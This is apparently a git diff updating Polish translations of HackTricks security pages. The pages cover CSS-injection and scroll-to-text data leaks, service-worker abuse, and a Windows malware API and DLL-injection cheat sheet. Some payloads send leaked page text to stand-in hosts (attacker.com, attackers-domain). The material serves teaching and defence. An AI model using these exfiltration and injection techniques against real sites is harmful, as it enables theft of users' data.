||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Atak manipuluje wstrzykiwaniem HTML, aby przesłać kod CSS, mając na celu określony tekst "Administrator" za pomocą fragmentu Scroll-to-text (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób zostanie załadowany, niechcący sygnalizując swoją obecność atakującemu.
|
||||
Atak manipuluje wstrzykiwaniem HTML, aby przesłać kod CSS, mając na celu określony tekst "Administrator" za pomocą fragmentu Scroll-to-text (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób zostanie załadowany, niechcący sygnalizując swoją obecność hakerowi.
|
||||
|
||||
Dla złagodzenia zagrożenia należy zauważyć następujące kwestie:
|
||||
Dla złagodzenia zagrożenia należy zauważyć następujące punkty:
|
||||
|
||||
1. **Ograniczone dopasowanie STTF**: Fragment Scroll-to-text (STTF) został zaprojektowany tak, aby dopasowywać tylko słowa lub zdania, ograniczając tym samym jego zdolność do ujawniania dowolnych tajemnic lub tokenów.
|
||||
2. **Ograniczenie do kontekstów przeglądania najwyższego poziomu**: STTF działa wyłącznie w kontekstach przeglądania najwyższego poziomu i nie działa w ramkach (iframes), co sprawia, że każda próba wykorzystania jest bardziej zauważalna dla użytkownika.
|
||||
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika, co oznacza, że eksploatacje są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. To wymaganie znacząco zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor posta na blogu wskazuje na konkretne warunki i sposoby obejścia (np. inżynierię społeczną, interakcję z powszechnymi rozszerzeniami przeglądarek), które mogą ułatwić automatyzację ataku.
|
||||
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika, co oznacza, że eksploatacje są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. To wymaganie znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor posta na blogu zauważa konkretne warunki i obejścia (np. inżynierię społeczną, interakcję z powszechnymi rozszerzeniami przeglądarek), które mogą ułatwić automatyzację ataku.
|
||||
|
||||
Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa sieciowego i ochrony przed taktykami wykorzystującymi te techniki.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź oryginalny raport: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Możesz sprawdzić [**wykorzystanie tej techniki w CTF tutaj**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Możesz sprawdzić [**exploit wykorzystujący tę technikę do CTF tutaj**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Możesz określić **zewnętrzne czcionki dla określonych wartości Unicode**, które zostaną **pobrane tylko wtedy, gdy te wartości Unicode znajdują się** na stronie. Na przykład:
|
||||
Możesz określić **zewnetrzne czcionki dla konkretnych wartości unicode**, które zostaną **pobrane tylko wtedy, gdy te wartości unicode są obecne** na stronie. Na przykład:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -214,23 +214,23 @@ font-family:poc;
|
|||
|
||||
<p id="sensitive-information">AB</p>htm
|
||||
```
|
||||
Kiedy dostęp do tej strony, Chrome i Firefox pobierają "?A" i "?B", ponieważ węzeł tekstowy sensitive-information zawiera znaki "A" i "B". Ale Chrome i Firefox nie pobierają "?C", ponieważ nie zawiera "C". Oznacza to, że udało nam się odczytać "A" i "B".
|
||||
Kiedy dostęp do tej strony, Chrome i Firefox pobierają "?A" i "?B", ponieważ węzeł tekstu sensitive-information zawiera znaki "A" i "B". Ale Chrome i Firefox nie pobierają "?C", ponieważ nie zawiera "C". Oznacza to, że udało nam się odczytać "A" i "B".
|
||||
|
||||
### Wykradanie węzła tekstowego (I): ligatury <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Wykradanie węzła tekstu (I): ligatury <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Referencja:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Technika opisana polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian szerokości. Proces obejmuje kilka kroków:
|
||||
|
||||
1. **Tworzenie niestandardowych czcionek**:
|
||||
- Czcionki SVG są tworzone z glifami posiadającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwuznakową.
|
||||
- Czcionki SVG są tworzone z glifami posiadającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.
|
||||
- Przykładowy glif SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gdzie "XY" oznacza sekwencję dwuznakową.
|
||||
- Następnie te czcionki są konwertowane do formatu woff za pomocą fontforge.
|
||||
|
||||
2. **Wykrywanie zmian szerokości**:
|
||||
- CSS jest używany do zapewnienia, że tekst nie zawija się (`white-space: nowrap`) i dostosowania stylu paska przewijania.
|
||||
- Pojawienie się poziomego paska przewijania, stylizowanego w sposób charakterystyczny, działa jako wskaźnik (orakulum), że określona ligatura, a tym samym określona sekwencja znaków, jest obecna w tekście.
|
||||
- Zaangażowany CSS:
|
||||
- Zaangażowane CSS:
|
||||
```css
|
||||
body { white-space: nowrap };
|
||||
body::-webkit-scrollbar { background: blue; }
|
||||
|
@ -239,20 +239,20 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
|
||||
3. **Proces eksploatacji**:
|
||||
- **Krok 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
|
||||
- **Krok 2**: Wykorzystywany jest sztuczka związana z paskiem przewijania do wykrywania renderowania glifu o dużej szerokości (ligatura dla pary znaków), wskazując obecność sekwencji znaków.
|
||||
- **Krok 3**: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, łącząc wykrytą parę i dodając poprzedzający lub następujący znak.
|
||||
- **Krok 2**: Wykorzystywany jest sztuczka oparta na pasku przewijania do wykrywania renderowania glifu o dużej szerokości (ligatura dla pary znaków), wskazując obecność sekwencji znaków.
|
||||
- **Krok 3**: Po wykryciu ligatury generowane są nowe glify reprezentujące trzyznakowe sekwencje, łączące wykrytą parę i dodając poprzedzający lub następujący znak.
|
||||
- **Krok 4**: Przeprowadzane jest wykrywanie trójznakowej ligatury.
|
||||
- **Krok 5**: Proces powtarza się, stopniowo ujawniając cały tekst.
|
||||
|
||||
4. **Optymalizacja**:
|
||||
- Obecna metoda inicjalizacji za pomocą `<meta refresh=...` nie jest optymalna.
|
||||
- Bardziej wydajne podejście mogłoby obejmować sztuczkę z CSS `@import`, poprawiając wydajność eksploatacji.
|
||||
- Bardziej efektywne podejście mogłoby obejmować sztuczkę z użyciem `@import` w CSS, poprawiając wydajność eksploatacji.
|
||||
|
||||
### Wykradanie węzła tekstowego (II): wyciek zestawu znaków za pomocą domyślnej czcionki (nie wymagane zewnętrzne zasoby) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Wykradanie węzła tekstu (II): wyciek zestawu znaków za pomocą domyślnej czcionki (nie wymagane zewnętrzne zasoby) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencja:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Zestaw znaków użyty w węźle tekstowym może być ujawniony **za pomocą domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne -ani niestandardowe- czcionki.
|
||||
Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Zestaw znaków używany w węźle tekstu może być ujawniony **za pomocą domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne -ani niestandardowe- czcionki.
|
||||
|
||||
Koncepcja polega na wykorzystaniu animacji do stopniowego zwiększania szerokości `div`, pozwalając na przejście jednego znaku na raz z części 'sufiks' tekstu do części 'prefiks'. Ten proces efektywnie dzieli tekst na dwie sekcje:
|
||||
|
||||
|
@ -273,13 +273,13 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
Podczas tego przejścia wykorzystywany jest **szczegółowy trik unicode-range** do identyfikowania każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez zmianę czcionki na Comic Sans, która jest zauważalnie wyższa od domyślnej czcionki, co skutkuje wywołaniem pionowego paska przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
|
||||
Podczas tego przejścia wykorzystywany jest **sztuczka z zakresem unicode**, aby zidentyfikować każdy nowy znak, gdy dołącza do prefiksu. Osiąga się to poprzez zmianę czcionki na Comic Sans, która jest zauważalnie wyższa od domyślnej czcionki, co skutkuje wywołaniem pionowego paska przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
|
||||
|
||||
Chociaż ta metoda pozwala na wykrywanie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że powtórzenie nastąpiło.
|
||||
|
||||
{% hint style="info" %}
|
||||
W zasadzie **unicode-range jest używany do wykrywania znaku**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób.\
|
||||
Gdy **znak** zostanie **znaleziony**, jest **przypisywany** do preinstalowanej **czcionki Comic Sans**, co sprawia, że **znak jest większy** i **wywołuje pasek przewijania**, który **ujawni znaleziony znak**.
|
||||
W zasadzie **zakres unicode jest używany do wykrywania znaku**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób.\
|
||||
Gdy **znak** zostanie **znaleziony**, jest **przypisywany** do zainstalowanej **czcionki Comic Sans**, co sprawia, że znak jest **większy** i **wywołuje pasek przewijania**, który **ujawni znaleziony znak**.
|
||||
{% endhint %}
|
||||
|
||||
Sprawdź kod wyodrębniony z PoC:
|
||||
|
@ -393,7 +393,7 @@ text-transform: uppercase; /* only capital letters leak */
|
|||
3% { width: 60px }
|
||||
4% { width: 80px }
|
||||
4% { width: 100px }
|
||||
```html
|
||||
```css
|
||||
5% { width: 120px }
|
||||
6% { width: 140px }
|
||||
7% { width: 0px }
|
||||
|
@ -410,15 +410,15 @@ background: blue var(--leak);
|
|||
```
|
||||
### Wyciek treści węzła tekstowego (III): wyciekanie zestawu znaków za pomocą domyślnej czcionki poprzez ukrywanie elementów (bez konieczności zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Odnośnik:** Jest to wspomniane jako [nieudane rozwiązanie w tym opracowaniu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Odnośnik:** Jest to wspomniane jako [nieudane rozwiązanie w tym wpisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem zrobienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** takiego jak przycisk, który nie może zostać naciśnięty przez bota lub obraz, który nie zostanie załadowany. Dlatego możemy mierzyć działanie (lub brak działania) i dowiedzieć się, czy określony znak jest obecny w tekście.
|
||||
Ten przypadek jest bardzo podobny do poprzedniego, jednakże celem zrobienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** takiego jak przycisk, który nie może zostać naciśnięty przez bota, lub obraz, który nie zostanie załadowany. Dzięki temu możemy mierzyć działanie (lub brak działania) i dowiedzieć się, czy określony znak jest obecny w tekście.
|
||||
|
||||
### Wyciek treści węzła tekstowego (III): wyciekanie zestawu znaków za pomocą czasu pamięci podręcznej (bez konieczności zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Wyciek treści węzła tekstowego (III): wyciekanie zestawu znaków poprzez czas buforowania (bez konieczności zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Odnośnik:** Jest to wspomniane jako [nieudane rozwiązanie w tym opracowaniu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Odnośnik:** Jest to wspomniane jako [nieudane rozwiązanie w tym wpisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
W tym przypadku możemy spróbować wyciec, czy dany znak znajduje się w tekście, ładując fałszywą czcionkę z tej samej domeny:
|
||||
W tym przypadku możemy spróbować wyciec, czy dany znak znajduje się w tekście, ładując fałszywą czcionkę z tego samego źródła:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -428,13 +428,13 @@ unicode-range: U+0041;
|
|||
```
|
||||
Jeśli wystąpi dopasowanie, **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się poprawnie, **przeglądarka powinna ją zapamiętać**, a nawet jeśli nie ma pamięci podręcznej, istnieje mechanizm **304 not modified**, dzięki czemu **odpowiedź powinna być szybsza** niż inne rzeczy.
|
||||
|
||||
Jednak jeśli różnica czasu między odpowiedzią z pamięci podręcznej a tą bez pamięci podręcznej nie jest wystarczająco duża, to nie będzie to przydatne. Na przykład autor wspomniał: Jednak po przetestowaniu stwierdziłem, że pierwszym problemem jest to, że prędkość nie jest zbyt różna, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
|
||||
Jednak jeśli różnica czasu między odpowiedzią z pamięci podręcznej a tą bez pamięci podręcznej nie jest wystarczająco duża, to nie będzie to przydatne. Na przykład autor wspomniał: Jednak po przetestowaniu stwierdziłem, że pierwszym problemem jest to, że prędkość nie jest znacząco różna, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
|
||||
|
||||
### Wyciek treści tekstowej (III): wyciek kodowania znaków poprzez pomiar czasu ładowania setek lokalnych "czcionek" (nie wymagających zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Eksfiltracja węzła tekstowego (III): wyciek kodowania znaków poprzez pomiar czasu ładowania setek lokalnych "czcionek" (nie wymagających zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Odniesienie:** Jest to wspomniane jako [nieudane rozwiązanie w tym opracowaniu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Odniesienie:** Jest to wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
W tym przypadku można wskazać **CSS do ładowania setek fałszywych czcionek** z tego samego źródła, gdy wystąpi dopasowanie. W ten sposób można **zmierzyć czas** i dowiedzieć się, czy dany znak się pojawia, czy nie, używając czegoś w rodzaju:
|
||||
W tym przypadku można wskazać **CSS do ładowania setek fałszywych czcionek** z tego samego źródła, gdy wystąpi dopasowanie. W ten sposób można **zmierzyć czas** i dowiedzieć się, czy znak się pojawia, czy nie, używając na przykład:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -445,13 +445,13 @@ url(/static/bootstrap.min.css?q=500);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
A kod bota wygląda tak:
|
||||
A kod bota wygląda następująco:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Więc jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli istnieje dopasowanie czcionki, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność sieci. W rezultacie zajmie dłużej zaspokojenie warunku stopu i otrzymanie odpowiedzi. Dlatego czas odpowiedzi może być używany jako wskaźnik do określenia, czy istnieje dopasowanie czcionki.
|
||||
Więc jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednakże, jeśli istnieje dopasowanie czcionki, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność sieci. W rezultacie będzie trwało dłużej zaspokojenie warunku zatrzymania i otrzymanie odpowiedzi. Dlatego czas odpowiedzi może być użyty jako wskaźnik do określenia, czy istnieje dopasowanie czcionki.
|
||||
|
||||
## Referencje
|
||||
|
||||
|
@ -462,7 +462,7 @@ Więc jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzania bota powin
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@
|
|||
|
||||
### Sprawdzanie istniejących pracowników usługowych
|
||||
|
||||
Istniejące pracowniki usługowe można sprawdzić w sekcji **Pracownicy usługowi** w zakładce **Aplikacja** w **Narzędziach deweloperskich**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) dla bardziej szczegółowego widoku.
|
||||
Istniejące pracowniki usługowi można sprawdzić w sekcji **Pracownicy usługowi** w zakładce **Aplikacja** w **Narzędziach deweloperskich**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) dla bardziej szczegółowego widoku.
|
||||
|
||||
### Powiadomienia push
|
||||
|
||||
|
@ -73,11 +73,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
```
|
||||
Istnieje **C2** dedykowane do **eksploatacji pracowników usługowych** o nazwie [**Shadow Workers**](https://shadow-workers.github.io), które będzie bardzo przydatne do nadużywania tych podatności.
|
||||
|
||||
Dyrektywa **24-godzinnego bufora** ogranicza żywotność złośliwego lub skompromitowanego **pracownika usługowego (SW)** do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą obniżyć czas życia skryptu SW (TTL). Deweloperów zaleca się również utworzenie [**przełącznika wyłączającego pracownika usługowego**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) dla szybkiego dezaktywowania.
|
||||
Dyrektywa **pamięci podręcznej 24-godzinna** ogranicza żywotność złośliwego lub skompromitowanego **pracownika usługi (SW)** do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą obniżyć czas życia skryptu SW (TTL). Deweloperów zaleca się również utworzenie [**przełącznika wyłączającego pracownika usługi**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) do szybkiej dezaktywacji.
|
||||
|
||||
## Nadużywanie `importScripts` w SW za pomocą DOM Clobbering
|
||||
|
||||
Funkcja **`importScripts`** wywołana z pracownika usługowego może **importować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana z **parametrem, który atakujący mógłby** zmodyfikować, mógłby **importować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
Funkcja **`importScripts`** wywołana z pracownika usługi może **importować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana z **parametrem, który atakujący mógłby** zmodyfikować, mógłby **importować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
|
||||
**To nawet omija zabezpieczenia CSP.**
|
||||
|
||||
|
@ -115,7 +115,7 @@ Aby zobaczyć przykład, sprawdź link referencyjny.
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,26 +26,26 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Sieci
|
||||
|
||||
| Surowe gniazdka | WinAPI Sockets |
|
||||
| --------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
| listen() | listen() |
|
||||
| accept() | accept() |
|
||||
| connect() | connect() |
|
||||
| read()/recv() | recv() |
|
||||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
| Surowe Gniazdka | WinAPI Gniazdka |
|
||||
| --------------- | --------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
| listen() | listen() |
|
||||
| accept() | accept() |
|
||||
| connect() | connect() |
|
||||
| read()/recv() | recv() |
|
||||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
|
||||
### Trwałość
|
||||
|
||||
| Rejestr | Plik | Usługa |
|
||||
| ------------------ | ------------- | --------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
| Rejestr | Plik | Usługa |
|
||||
| ------------------ | -------------- | ---------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
|
||||
### Szyfrowanie
|
||||
|
||||
|
@ -72,7 +72,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
### Ukrywanie
|
||||
|
||||
| Nazwa | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | Alokuje pamięć (pakowacze) |
|
||||
| VirtualProtect | Zmienia uprawnienia pamięci (pakowacz nadaje uprawnienia do wykonania sekcji) |
|
||||
| ReadProcessMemory | Wstrzyknięcie do zewnętrznych procesów |
|
||||
|
@ -85,19 +85,19 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Wykonanie
|
||||
|
||||
| Nazwa Funkcji |
|
||||
| ----------------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
| Nazwa Funkcji |
|
||||
| ---------------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
|
||||
### Różne
|
||||
|
||||
* GetAsyncKeyState() -- Rejestracja klawiszy
|
||||
* SetWindowsHookEx -- Rejestracja klawiszy
|
||||
* GetForeGroundWindow -- Pobierz nazwę uruchomionego okna (lub witrynę z przeglądarki)
|
||||
* GetForeGroundWindow -- Pobierz nazwę aktywnego okna (lub witrynę z przeglądarki)
|
||||
* LoadLibrary() -- Importuj bibliotekę
|
||||
* GetProcAddress() -- Importuj bibliotekę
|
||||
* CreateToolhelp32Snapshot() -- Lista uruchomionych procesów
|
||||
|
@ -110,7 +110,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Wstrzykiwanie DLL
|
||||
|
||||
Wykonaj dowolne DLL w innym procesie
|
||||
Wykonaj dowolne DLL wewnątrz innego procesu
|
||||
|
||||
1. Zlokalizuj proces do wstrzyknięcia złośliwej DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. Otwórz proces: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
|
@ -119,12 +119,12 @@ Wykonaj dowolne DLL w innym procesie
|
|||
|
||||
Inne funkcje do użycia: NTCreateThreadEx, RtlCreateUserThread
|
||||
|
||||
### Wstrzykiwanie DLL odbijające
|
||||
### Wstrzykiwanie Refleksyjne DLL
|
||||
|
||||
Załaduj złośliwą DLL bez wywoływania normalnych wywołań API systemu Windows.\
|
||||
DLL jest mapowany wewnątrz procesu, rozwiąże adresy importu, naprawi relokacje i wywoła funkcję DllMain.
|
||||
|
||||
### Przechwytywanie wątku
|
||||
### Przechwytywanie Wątków
|
||||
|
||||
Znajdź wątek w procesie i spraw, aby załadował złośliwą DLL
|
||||
|
||||
|
@ -136,23 +136,23 @@ Znajdź wątek w procesie i spraw, aby załadował złośliwą DLL
|
|||
|
||||
### Wstrzykiwanie PE
|
||||
|
||||
Wstrzyknięcie Wykonywalne: Wykonywalny plik zostanie zapisany w pamięci procesu ofiary i zostanie wykonany stamtąd.
|
||||
Wstrzyknięcie Wykonywalne: Wykonywalny plik zostanie zapisany w pamięci procesu ofiary i zostanie uruchomiony stamtąd.
|
||||
|
||||
### Wstrzykiwanie procesu
|
||||
### Wylanie Procesu
|
||||
|
||||
